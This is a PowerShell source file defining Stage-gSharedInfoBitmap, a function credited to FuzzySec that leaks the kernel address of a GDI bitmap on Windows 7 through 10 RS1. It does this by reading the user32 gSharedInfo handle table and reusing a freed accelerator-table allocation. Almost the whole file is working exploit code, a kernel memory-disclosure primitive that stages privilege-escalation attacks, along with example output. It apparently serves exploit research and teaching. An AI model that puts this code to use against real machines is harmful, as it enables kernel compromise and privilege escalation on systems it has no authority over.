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function Stage-gSharedInfoBitmap {
<#
.SYNOPSIS
Universal x32/x64 Bitmap leak using gSharedInfo.
Targets: 7, 8, 8.1, 10, 10 RS1
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl
BitmapKernelObj : -7692235059200
BitmappvScan0 : -7692235059120
BitmapHandle : 1845828432
PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap
PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
FFFFF901030FF000
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class gSharedInfoBitmap
{
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
[DllImport("user32.dll")]
public static extern IntPtr CreateAcceleratorTable(
IntPtr lpaccl,
int cEntries);
[DllImport("user32.dll")]
public static extern bool DestroyAcceleratorTable(
IntPtr hAccel);
}
"@
# Check Arch
if ([System.IntPtr]::Size -eq 4) {
$x32 = 1
}
function Create-AcceleratorTable {
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
$User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
if ($x32){
$gSharedInfo = $gSharedInfo.ToInt32()
} else {
$gSharedInfo = $gSharedInfo.ToInt64()
}
$aheList = $gSharedInfo + [System.IntPtr]::Size
if ($x32){
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
} else {
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
}
$Result = @()
$HashTable = @{
Handle = $AccelHandle
KernelObj = $phead
}
$Object = New-Object PSObject -Property $HashTable
$Result += $Object
$Result
}
function Destroy-AcceleratorTable {
param ($Hanlde)
$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
}
$KernelArray = @()
for ($i=0;$i -lt 20;$i++) {
$KernelArray += Create-AcceleratorTable
if ($KernelArray.Length -gt 1) {
if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # # +4 kb size -lt AcceleratorTable
break
}
}
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
}
$BitMapObject = @()
$HashTable = @{
BitmapHandle = $BitmapHandle
BitmapKernelObj = $($KernelArray[$i].KernelObj)
BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
}
$Object = New-Object PSObject -Property $HashTable
$BitMapObject += $Object
$BitMapObject
}